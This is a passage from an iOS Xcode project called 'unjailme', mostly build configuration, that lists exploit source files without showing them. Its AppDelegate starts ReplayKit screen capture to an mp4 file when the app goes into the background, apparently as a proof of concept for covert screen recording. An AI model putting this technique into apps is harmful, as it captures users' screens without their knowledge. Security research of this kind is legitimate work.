); 130 | sourceTree = ""; 131 | }; 132 | 1DF1DA422045FAFE006ECC35 /* Products */ = { 133 | isa = PBXGroup; 134 | children = ( 135 | 1DF1DA412045FAFE006ECC35 /* unjailme.app */, 136 | 1DF1DA5C2045FAFE006ECC35 /* unjailmeTests.xctest */, 137 | 1DF1DA672045FAFE006ECC35 /* unjailmeUITests.xctest */, 138 | ); 139 | name = Products; 140 | sourceTree = ""; 141 | }; 142 | 1DF1DA432045FAFE006ECC35 /* unjailme */ = { 143 | isa = PBXGroup; 144 | children = ( 145 | 1DBCF9722046DE4B001A233B /* utils */, 146 | 1DF1DA442045FAFE006ECC35 /* AppDelegate.h */, 147 | 1DF1DA452045FAFE006ECC35 /* AppDelegate.m */, 148 | 1DF1DA472045FAFE006ECC35 /* ViewController.h */, 149 | 1DF1DA482045FAFE006ECC35 /* ViewController.m */, 150 | 1DF1DA792045FB83006ECC35 /* exploit.m */, 151 | 1DF1DA7A2045FB83006ECC35 /* exploit.h */, 152 | 1DF1DA4A2045FAFE006ECC35 /* Main.storyboard */, 153 | 1DF1DA502045FAFE006ECC35 /* Assets.xcassets */, 154 | 1DF1DA522045FAFE006ECC35 /* LaunchScreen.storyboard */, 155 | 1DF1DA552045FAFE006ECC35 /* Info.plist */, 156 | 1DF1DA562045FAFE006ECC35 /* main.m */, 157 | 1DF1DA4D2045FAFE006ECC35 /* unjailme.xcdatamodeld */, 158 | ); 159 | path = unjailme; 160 | sourceTree = ""; 161 | }; 162 | 1DF1DA5F2045FAFE006ECC35 /* unjailmeTests */ = { 163 | isa = PBXGroup; 164 | children = ( 165 | 1DF1DA602045FAFE006ECC35 /* unjailmeTests.m */, 166 | 1DF1DA622045FAFE006ECC35 /* Info.plist */, 167 | ); 168 | path = unjailmeTests; 169 | sourceTree = ""; 170 | }; 171 | 1DF1DA6A2045FAFE006ECC35 /* unjailmeUITests */ = { 172 | isa = PBXGroup; 173 | children = ( 174 | 1DF1DA6B2045FAFE006ECC35 /* unjailmeUITests.m */, 175 | 1DF1DA6D2045FAFE006ECC35 /* Info.plist */, 176 | ); 177 | path = unjailmeUITests; 178 | sourceTree = ""; 179 | }; 180 | 1DF1DA7C2045FCF6006ECC35 /* Frameworks */ = { 181 | isa = PBXGroup; 182 | children = ( 183 | 1DF1DA8820460B97006ECC35 /* libiconv.tbd */, 184 | 1DF1DA8420460A34006ECC35 /* libmtftp.dylib */, 185 | 1DF1DA7D2045FCF6006ECC35 /* QuartzCore.framework */, 186 | ); 187 | name = Frameworks; 188 | sourceTree = ""; 189 | }; 190 | /* End PBXGroup section */ 191 | 192 | /* Begin PBXNativeTarget section */ 193 | 1DF1DA402045FAFE006ECC35 /* unjailme */ = { 194 | isa = PBXNativeTarget; 195 | buildConfigurationList = 1DF1DA702045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailme" */; 196 | buildPhases = ( 197 | 1DF1DA3D2045FAFE006ECC35 /* Sources */, 198 | 1DF1DA3E2045FAFE006ECC35 /* Frameworks */, 199 | 1DF1DA3F2045FAFE006ECC35 /* Resources */, 200 | ); 201 | buildRules = ( 202 | ); 203 | dependencies = ( 204 | ); 205 | name = unjailme; 206 | productName = unjailme; 207 | productReference = 1DF1DA412045FAFE006ECC35 /* unjailme.app */; 208 | productType = "com.apple.product-type.application"; 209 | }; 210 | 1DF1DA5B2045FAFE006ECC35 /* unjailmeTests */ = { 211 | isa = PBXNativeTarget; 212 | buildConfigurationList = 1DF1DA732045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailmeTests" */; 213 | buildPhases = ( 214 | 1DF1DA582045FAFE006ECC35 /* Sources */, 215 | 1DF1DA592045FAFE006ECC35 /* Frameworks */, 216 | 1DF1DA5A2045FAFE006ECC35 /* Resources */, 217 | ); 218 | buildRules = ( 219 | ); 220 | dependencies = ( 221 | 1DF1DA5E2045FAFE006ECC35 /* PBXTargetDependency */, 222 | ); 223 | name = unjailmeTests; 224 | productName = unjailmeTests; 225 | productReference = 1DF1DA5C2045FAFE006ECC35 /* unjailmeTests.xctest */; 226 | productType = "com.apple.product-type.bundle.unit-test"; 227 | }; 228 | 1DF1DA662045FAFE006ECC35 /* unjailmeUITests */ = { 229 | isa = PBXNativeTarget; 230 | buildConfigurationList = 1DF1DA762045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailmeUITests" */; 231 | buildPhases = ( 232 | 1DF1DA632045FAFE006ECC35 /* Sources */, 233 | 1DF1DA642045FAFE006ECC35 /* Frameworks */, 234 | 1DF1DA652045FAFE006ECC35 /* Resources */, 235 | ); 236 | buildRules = ( 237 | ); 238 | dependencies = ( 239 | 1DF1DA692045FAFE006ECC35 /* PBXTargetDependency */, 240 | ); 241 | name = unjailmeUITests; 242 | productName = unjailmeUITests; 243 | productReference = 1DF1DA672045FAFE006ECC35 /* unjailmeUITests.xctest */; 244 | productType = "com.apple.product-type.bundle.ui-testing"; 245 | }; 246 | /* End PBXNativeTarget section */ 247 | 248 | /* Begin PBXProject section */ 249 | 1DF1DA392045FAFE006ECC35 /* Project object */ = { 250 | isa = PBXProject; 251 | attributes = { 252 | LastUpgradeCheck = 0920; 253 | ORGANIZATIONNAME = "Jailed Inc"; 254 | TargetAttributes = { 255 | 1DF1DA402045FAFE006ECC35 = { 256 | CreatedOnToolsVersion = 9.2; 257 | ProvisioningStyle = Automatic; 258 | }; 259 | 1DF1DA5B2045FAFE006ECC35 = { 260 | CreatedOnToolsVersion = 9.2; 261 | ProvisioningStyle = Automatic; 262 | TestTargetID = 1DF1DA402045FAFE006ECC35; 263 | }; 264 | 1DF1DA662045FAFE006ECC35 = { 265 | CreatedOnToolsVersion = 9.2; 266 | ProvisioningStyle = Automatic; 267 | TestTargetID = 1DF1DA402045FAFE006ECC35; 268 | }; 269 | }; 270 | }; 271 | buildConfigurationList = 1DF1DA3C2045FAFE006ECC35 /* Build configuration list for PBXProject "unjailme" */; 272 | compatibilityVersion = "Xcode 8.0"; 273 | developmentRegion = en; 274 | hasScannedForEncodings = 0; 275 | knownRegions = ( 276 | en, 277 | Base, 278 | ); 279 | mainGroup = 1DF1DA382045FAFE006ECC35; 280 | productRefGroup = 1DF1DA422045FAFE006ECC35 /* Products */; 281 | projectDirPath = ""; 282 | projectRoot = ""; 283 | targets = ( 284 | 1DF1DA402045FAFE006ECC35 /* unjailme */, 285 | 1DF1DA5B2045FAFE006ECC35 /* unjailmeTests */, 286 | 1DF1DA662045FAFE006ECC35 /* unjailmeUITests */, 287 | ); 288 | }; 289 | /* End PBXProject section */ 290 | 291 | /* Begin PBXResourcesBuildPhase section */ 292 | 1DF1DA3F2045FAFE006ECC35 /* Resources */ = { 293 | isa = PBXResourcesBuildPhase; 294 | buildActionMask = 2147483647; 295 | files = ( 296 | 1DF1DA542045FAFE006ECC35 /* LaunchScreen.storyboard in Resources */, 297 | 1DF1DA512045FAFE006ECC35 /* Assets.xcassets in Resources */, 298 | 1DF1DA4C2045FAFE006ECC35 /* Main.storyboard in Resources */, 299 | ); 300 | runOnlyForDeploymentPostprocessing = 0; 301 | }; 302 | 1DF1DA5A2045FAFE006ECC35 /* Resources */ = { 303 | isa = PBXResourcesBuildPhase; 304 | buildActionMask = 2147483647; 305 | files = ( 306 | ); 307 | runOnlyForDeploymentPostprocessing = 0; 308 | }; 309 | 1DF1DA652045FAFE006ECC35 /* Resources */ = { 310 | isa = PBXResourcesBuildPhase; 311 | buildActionMask = 2147483647; 312 | files = ( 313 | ); 314 | runOnlyForDeploymentPostprocessing = 0; 315 | }; 316 | /* End PBXResourcesBuildPhase section */ 317 | 318 | /* Begin PBXSourcesBuildPhase section */ 319 | 1DF1DA3D2045FAFE006ECC35 /* Sources */ = { 320 | isa = PBXSourcesBuildPhase; 321 | buildActionMask = 2147483647; 322 | files = ( 323 | 1DF1DA4F2045FAFE006ECC35 /* unjailme.xcdatamodeld in Sources */, 324 | 1DF1DA492045FAFE006ECC35 /* ViewController.m in Sources */, 325 | 1DF1DA572045FAFE006ECC35 /* main.m in Sources */, 326 | 1DBCF96E2046CFF4001A233B /* lorgnette.c in Sources */, 327 | 1DBCF9712046DE48001A233B /* APIManager.m in Sources */, 328 | 1DF1DA8720460B1C006ECC35 /* mtftp.m in Sources */, 329 | 1DF1DA462045FAFE006ECC35 /* AppDelegate.m in Sources */, 330 | 1DF1DA7B2045FB83006ECC35 /* exploit.m in Sources */, 331 | ); 332 | runOnlyForDeploymentPostprocessing = 0; 333 | }; 334 | 1DF1DA582045FAFE006ECC35 /* Sources */ = { 335 | isa = PBXSourcesBuildPhase; 336 | buildActionMask = 2147483647; 337 | files = ( 338 | 1DF1DA612045FAFE006ECC35 /* unjailmeTests.m in Sources */, 339 | ); 340 | runOnlyForDeploymentPostprocessing = 0; 341 | }; 342 | 1DF1DA632045FAFE006ECC35 /* Sources */ = { 343 | isa = PBXSourcesBuildPhase; 344 | buildActionMask = 2147483647; 345 | files = ( 346 | 1DF1DA6C2045FAFE006ECC35 /* unjailmeUITests.m in Sources */, 347 | ); 348 | runOnlyForDeploymentPostprocessing = 0; 349 | }; 350 | /* End PBXSourcesBuildPhase section */ 351 | 352 | /* Begin PBXTargetDependency section */ 353 | 1DF1DA5E2045FAFE006ECC35 /* PBXTargetDependency */ = { 354 | isa = PBXTargetDependency; 355 | target = 1DF1DA402045FAFE006ECC35 /* unjailme */; 356 | targetProxy = 1DF1DA5D2045FAFE006ECC35 /* PBXContainerItemProxy */; 357 | }; 358 | 1DF1DA692045FAFE006ECC35 /* PBXTargetDependency */ = { 359 | isa = PBXTargetDependency; 360 | target = 1DF1DA402045FAFE006ECC35 /* unjailme */; 361 | targetProxy = 1DF1DA682045FAFE006ECC35 /* PBXContainerItemProxy */; 362 | }; 363 | /* End PBXTargetDependency section */ 364 | 365 | /* Begin PBXVariantGroup section */ 366 | 1DF1DA4A2045FAFE006ECC35 /* Main.storyboard */ = { 367 | isa = PBXVariantGroup; 368 | children = ( 369 | 1DF1DA4B2045FAFE006ECC35 /* Base */, 370 | ); 371 | name = Main.storyboard; 372 | sourceTree = ""; 373 | }; 374 | 1DF1DA522045FAFE006ECC35 /* LaunchScreen.storyboard */ = { 375 | isa = PBXVariantGroup; 376 | children = ( 377 | 1DF1DA532045FAFE006ECC35 /* Base */, 378 | ); 379 | name = LaunchScreen.storyboard; 380 | sourceTree = ""; 381 | }; 382 | /* End PBXVariantGroup section */ 383 | 384 | /* Begin XCBuildConfiguration section */ 385 | 1DF1DA6E2045FAFE006ECC35 /* Debug */ = { 386 | isa = XCBuildConfiguration; 387 | buildSettings = { 388 | ALWAYS_SEARCH_USER_PATHS = NO; 389 | CLANG_ANALYZER_NONNULL = YES; 390 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 391 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 392 | CLANG_CXX_LIBRARY = "libc++"; 393 | CLANG_ENABLE_MODULES = YES; 394 | CLANG_ENABLE_OBJC_ARC = YES; 395 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 396 | CLANG_WARN_BOOL_CONVERSION = YES; 397 | CLANG_WARN_COMMA = YES; 398 | CLANG_WARN_CONSTANT_CONVERSION = YES; 399 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 400 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 401 | CLANG_WARN_EMPTY_BODY = YES; 402 | CLANG_WARN_ENUM_CONVERSION = YES; 403 | CLANG_WARN_INFINITE_RECURSION = YES; 404 | CLANG_WARN_INT_CONVERSION = YES; 405 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 406 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 407 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 408 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 409 | CLANG_WARN_STRICT_PROTOTYPES = YES; 410 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 411 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 412 | CLANG_WARN_UNREACHABLE_CODE = YES; 413 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 414 | CODE_SIGN_IDENTITY = "iPhone Developer"; 415 | COPY_PHASE_STRIP = NO; 416 | DEBUG_INFORMATION_FORMAT = dwarf; 417 | ENABLE_STRICT_OBJC_MSGSEND = YES; 418 | ENABLE_TESTABILITY = YES; 419 | GCC_C_LANGUAGE_STANDARD = gnu11; 420 | GCC_DYNAMIC_NO_PIC = NO; 421 | GCC_NO_COMMON_BLOCKS = YES; 422 | GCC_OPTIMIZATION_LEVEL = 0; 423 | GCC_PREPROCESSOR_DEFINITIONS = ( 424 | "DEBUG=1", 425 | "$(inherited)", 426 | ); 427 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 428 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 429 | GCC_WARN_UNDECLARED_SELECTOR = YES; 430 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 431 | GCC_WARN_UNUSED_FUNCTION = YES; 432 | GCC_WARN_UNUSED_VARIABLE = YES; 433 | IPHONEOS_DEPLOYMENT_TARGET = 11.2; 434 | MTL_ENABLE_DEBUG_INFO = YES; 435 | ONLY_ACTIVE_ARCH = YES; 436 | SDKROOT = iphoneos; 437 | }; 438 | name = Debug; 439 | }; 440 | 1DF1DA6F2045FAFE006ECC35 /* Release */ = { 441 | isa = XCBuildConfiguration; 442 | buildSettings = { 443 | ALWAYS_SEARCH_USER_PATHS = NO; 444 | CLANG_ANALYZER_NONNULL = YES; 445 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 446 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 447 | CLANG_CXX_LIBRARY = "libc++"; 448 | CLANG_ENABLE_MODULES = YES; 449 | CLANG_ENABLE_OBJC_ARC = YES; 450 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 451 | CLANG_WARN_BOOL_CONVERSION = YES; 452 | CLANG_WARN_COMMA = YES; 453 | CLANG_WARN_CONSTANT_CONVERSION = YES; 454 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 455 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 456 | CLANG_WARN_EMPTY_BODY = YES; 457 | CLANG_WARN_ENUM_CONVERSION = YES; 458 | CLANG_WARN_INFINITE_RECURSION = YES; 459 | CLANG_WARN_INT_CONVERSION = YES; 460 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 461 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 462 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 463 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 464 | CLANG_WARN_STRICT_PROTOTYPES = YES; 465 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 466 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 467 | CLANG_WARN_UNREACHABLE_CODE = YES; 468 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 469 | CODE_SIGN_IDENTITY = "iPhone Developer"; 470 | COPY_PHASE_STRIP = NO; 471 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 472 | ENABLE_NS_ASSERTIONS = NO; 473 | ENABLE_STRICT_OBJC_MSGSEND = YES; 474 | GCC_C_LANGUAGE_STANDARD = gnu11; 475 | GCC_NO_COMMON_BLOCKS = YES; 476 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 477 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 478 | GCC_WARN_UNDECLARED_SELECTOR = YES; 479 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 480 | GCC_WARN_UNUSED_FUNCTION = YES; 481 | GCC_WARN_UNUSED_VARIABLE = YES; 482 | IPHONEOS_DEPLOYMENT_TARGET = 11.2; 483 | MTL_ENABLE_DEBUG_INFO = NO; 484 | SDKROOT = iphoneos; 485 | VALIDATE_PRODUCT = YES; 486 | }; 487 | name = Release; 488 | }; 489 | 1DF1DA712045FAFE006ECC35 /* Debug */ = { 490 | isa = XCBuildConfiguration; 491 | buildSettings = { 492 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 493 | CODE_SIGN_STYLE = Automatic; 494 | DEVELOPMENT_TEAM = 376SZ86J7X; 495 | ENABLE_BITCODE = NO; 496 | INFOPLIST_FILE = unjailme/Info.plist; 497 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 498 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 499 | LIBRARY_SEARCH_PATHS = ( 500 | "$(inherited)", 501 | "$(PROJECT_DIR)", 502 | ); 503 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailme; 504 | PRODUCT_NAME = "$(TARGET_NAME)"; 505 | TARGETED_DEVICE_FAMILY = "1,2"; 506 | }; 507 | name = Debug; 508 | }; 509 | 1DF1DA722045FAFE006ECC35 /* Release */ = { 510 | isa = XCBuildConfiguration; 511 | buildSettings = { 512 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 513 | CODE_SIGN_STYLE = Automatic; 514 | DEVELOPMENT_TEAM = 376SZ86J7X; 515 | ENABLE_BITCODE = NO; 516 | INFOPLIST_FILE = unjailme/Info.plist; 517 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 518 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 519 | LIBRARY_SEARCH_PATHS = ( 520 | "$(inherited)", 521 | "$(PROJECT_DIR)", 522 | ); 523 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailme; 524 | PRODUCT_NAME = "$(TARGET_NAME)"; 525 | TARGETED_DEVICE_FAMILY = "1,2"; 526 | }; 527 | name = Release; 528 | }; 529 | 1DF1DA742045FAFE006ECC35 /* Debug */ = { 530 | isa = XCBuildConfiguration; 531 | buildSettings = { 532 | BUNDLE_LOADER = "$(TEST_HOST)"; 533 | CODE_SIGN_STYLE = Automatic; 534 | DEVELOPMENT_TEAM = 376SZ86J7X; 535 | INFOPLIST_FILE = unjailmeTests/Info.plist; 536 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; 537 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailmeTests; 538 | PRODUCT_NAME = "$(TARGET_NAME)"; 539 | TARGETED_DEVICE_FAMILY = "1,2"; 540 | TEST_HOST = "$(BUILT_PRODUCTS_DIR)/unjailme.app/unjailme"; 541 | }; 542 | name = Debug; 543 | }; 544 | 1DF1DA752045FAFE006ECC35 /* Release */ = { 545 | isa = XCBuildConfiguration; 546 | buildSettings = { 547 | BUNDLE_LOADER = "$(TEST_HOST)"; 548 | CODE_SIGN_STYLE = Automatic; 549 | DEVELOPMENT_TEAM = 376SZ86J7X; 550 | INFOPLIST_FILE = unjailmeTests/Info.plist; 551 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; 552 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailmeTests; 553 | PRODUCT_NAME = "$(TARGET_NAME)"; 554 | TARGETED_DEVICE_FAMILY = "1,2"; 555 | TEST_HOST = "$(BUILT_PRODUCTS_DIR)/unjailme.app/unjailme"; 556 | }; 557 | name = Release; 558 | }; 559 | 1DF1DA772045FAFE006ECC35 /* Debug */ = { 560 | isa = XCBuildConfiguration; 561 | buildSettings = { 562 | CODE_SIGN_STYLE = Automatic; 563 | DEVELOPMENT_TEAM = 376SZ86J7X; 564 | INFOPLIST_FILE = unjailmeUITests/Info.plist; 565 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; 566 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailmeUITests; 567 | PRODUCT_NAME = "$(TARGET_NAME)"; 568 | TARGETED_DEVICE_FAMILY = "1,2"; 569 | TEST_TARGET_NAME = unjailme; 570 | }; 571 | name = Debug; 572 | }; 573 | 1DF1DA782045FAFE006ECC35 /* Release */ = { 574 | isa = XCBuildConfiguration; 575 | buildSettings = { 576 | CODE_SIGN_STYLE = Automatic; 577 | DEVELOPMENT_TEAM = 376SZ86J7X; 578 | INFOPLIST_FILE = unjailmeUITests/Info.plist; 579 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; 580 | PRODUCT_BUNDLE_IDENTIFIER = ml.jailed.unjailmeUITests; 581 | PRODUCT_NAME = "$(TARGET_NAME)"; 582 | TARGETED_DEVICE_FAMILY = "1,2"; 583 | TEST_TARGET_NAME = unjailme; 584 | }; 585 | name = Release; 586 | }; 587 | /* End XCBuildConfiguration section */ 588 | 589 | /* Begin XCConfigurationList section */ 590 | 1DF1DA3C2045FAFE006ECC35 /* Build configuration list for PBXProject "unjailme" */ = { 591 | isa = XCConfigurationList; 592 | buildConfigurations = ( 593 | 1DF1DA6E2045FAFE006ECC35 /* Debug */, 594 | 1DF1DA6F2045FAFE006ECC35 /* Release */, 595 | ); 596 | defaultConfigurationIsVisible = 0; 597 | defaultConfigurationName = Release; 598 | }; 599 | 1DF1DA702045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailme" */ = { 600 | isa = XCConfigurationList; 601 | buildConfigurations = ( 602 | 1DF1DA712045FAFE006ECC35 /* Debug */, 603 | 1DF1DA722045FAFE006ECC35 /* Release */, 604 | ); 605 | defaultConfigurationIsVisible = 0; 606 | defaultConfigurationName = Release; 607 | }; 608 | 1DF1DA732045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailmeTests" */ = { 609 | isa = XCConfigurationList; 610 | buildConfigurations = ( 611 | 1DF1DA742045FAFE006ECC35 /* Debug */, 612 | 1DF1DA752045FAFE006ECC35 /* Release */, 613 | ); 614 | defaultConfigurationIsVisible = 0; 615 | defaultConfigurationName = Release; 616 | }; 617 | 1DF1DA762045FAFE006ECC35 /* Build configuration list for PBXNativeTarget "unjailmeUITests" */ = { 618 | isa = XCConfigurationList; 619 | buildConfigurations = ( 620 | 1DF1DA772045FAFE006ECC35 /* Debug */, 621 | 1DF1DA782045FAFE006ECC35 /* Release */, 622 | ); 623 | defaultConfigurationIsVisible = 0; 624 | defaultConfigurationName = Release; 625 | }; 626 | /* End XCConfigurationList section */ 627 | 628 | /* Begin XCVersionGroup section */ 629 | 1DF1DA4D2045FAFE006ECC35 /* unjailme.xcdatamodeld */ = { 630 | isa = XCVersionGroup; 631 | children = ( 632 | 1DF1DA4E2045FAFE006ECC35 /* unjailme.xcdatamodel */, 633 | ); 634 | currentVersion = 1DF1DA4E2045FAFE006ECC35 /* unjailme.xcdatamodel */; 635 | path = unjailme.xcdatamodeld; 636 | sourceTree = ""; 637 | versionGroupType = wrapper.xcdatamodel; 638 | }; 639 | /* End XCVersionGroup section */ 640 | }; 641 | rootObject = 1DF1DA392045FAFE006ECC35 /* Project object */; 642 | } 643 | -------------------------------------------------------------------------------- /unjailme.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /unjailme.xcodeproj/project.xcworkspace/xcuserdata/semvoigtlander.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/unjailme.xcodeproj/project.xcworkspace/xcuserdata/semvoigtlander.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /unjailme.xcodeproj/xcuserdata/semvoigtlander.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | -------------------------------------------------------------------------------- /unjailme.xcodeproj/xcuserdata/semvoigtlander.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | unjailme.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /unjailme/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/unjailme/.DS_Store -------------------------------------------------------------------------------- /unjailme/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import 12 | #import 13 | @interface AppDelegate : UIResponder 14 | 15 | @property (strong, nonatomic) UIWindow *window; 16 | 17 | @property (readonly, strong) NSPersistentContainer *persistentContainer; 18 | 19 | @property (strong, nonatomic) RPScreenRecorder *screenRecorder; 20 | @property (strong, nonatomic) AVAssetWriter *assetWriter; 21 | @property (strong, nonatomic) AVAssetWriterInput *assetWriterInput; 22 | - (void)saveContext; 23 | 24 | 25 | @end 26 | 27 | -------------------------------------------------------------------------------- /unjailme/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | #define documentsDirectory [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) objectAtIndex:0] 11 | 12 | @interface AppDelegate () 13 | 14 | @end 15 | 16 | @implementation AppDelegate 17 | 18 | 19 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 20 | // Override point for customization after application launch. 21 | return YES; 22 | } 23 | 24 | 25 | - (void)applicationWillResignActive:(UIApplication *)application { 26 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 27 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 28 | } 29 | 30 | 31 | - (void)applicationDidEnterBackground:(UIApplication *)application { 32 | NSLog(@"Application went into background\n"); 33 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 34 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 35 | if (@available(iOS 11.0, *)) { 36 | NSError *error = nil; 37 | NSString *videoOutPath = [[documentsDirectory stringByAppendingPathComponent:[NSString stringWithFormat:@"%u", arc4random() % 1000]] stringByAppendingPathExtension:@"mp4"]; 38 | self.assetWriter = [AVAssetWriter assetWriterWithURL:[NSURL fileURLWithPath:videoOutPath] fileType:AVFileTypeMPEG4 error:&error]; 39 | 40 | NSDictionary *compressionProperties = @{AVVideoProfileLevelKey : AVVideoProfileLevelH264HighAutoLevel, 41 | AVVideoH264EntropyModeKey : AVVideoH264EntropyModeCABAC, 42 | AVVideoAverageBitRateKey : @(1920 * 1080 * 11.4), 43 | AVVideoMaxKeyFrameIntervalKey : @60, 44 | AVVideoAllowFrameReorderingKey : @NO}; 45 | 46 | NSDictionary *videoSettings = @{AVVideoCompressionPropertiesKey : compressionProperties, 47 | AVVideoCodecKey : AVVideoCodecTypeH264, 48 | AVVideoWidthKey : @1080, 49 | AVVideoHeightKey : @1920}; 50 | 51 | self.assetWriterInput = [AVAssetWriterInput assetWriterInputWithMediaType:AVMediaTypeVideo outputSettings:videoSettings]; 52 | 53 | [self.assetWriter addInput:self.assetWriterInput]; 54 | [self.assetWriterInput setMediaTimeScale:60]; 55 | [self.assetWriter setMovieTimeScale:60]; 56 | [self.assetWriterInput setExpectsMediaDataInRealTime:YES]; 57 | 58 | self.screenRecorder = [RPScreenRecorder sharedRecorder]; 59 | 60 | [self.screenRecorder startCaptureWithHandler:^(CMSampleBufferRef _Nonnull sampleBuffer, RPSampleBufferType bufferType, NSError * _Nullable error) { 61 | if (CMSampleBufferDataIsReady(sampleBuffer)) { 62 | if (self.assetWriter.status == AVAssetWriterStatusUnknown) { 63 | [self.assetWriter startSessionAtSourceTime:CMSampleBufferGetPresentationTimeStamp(sampleBuffer)]; 64 | } 65 | 66 | if (self.assetWriter.status == AVAssetWriterStatusFailed) { 67 | NSLog(@"An error occured."); 68 | return; 69 | } 70 | 71 | if (bufferType == RPSampleBufferTypeVideo) { 72 | if (self.assetWriterInput.isReadyForMoreMediaData) { 73 | [self.assetWriterInput appendSampleBuffer:sampleBuffer]; 74 | } 75 | } 76 | } 77 | } completionHandler:^(NSError * _Nullable error) { 78 | if (!error) { 79 | NSLog(@"Recording started successfully."); 80 | } 81 | }]; 82 | } else { 83 | // Fallback on earlier versions 84 | } 85 | 86 | } 87 | 88 | 89 | - (void)applicationWillEnterForeground:(UIApplication *)application { 90 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 91 | } 92 | 93 | 94 | - (void)applicationDidBecomeActive:(UIApplication *)application { 95 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 96 | } 97 | 98 | 99 | - (void)applicationWillTerminate:(UIApplication *)application { 100 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 101 | // Saves changes in the application's managed object context before the application terminates. 102 | [self saveContext]; 103 | } 104 | 105 | 106 | #pragma mark - Core Data stack 107 | 108 | @synthesize persistentContainer = _persistentContainer; 109 | 110 | - (NSPersistentContainer *)persistentContainer { 111 | // The 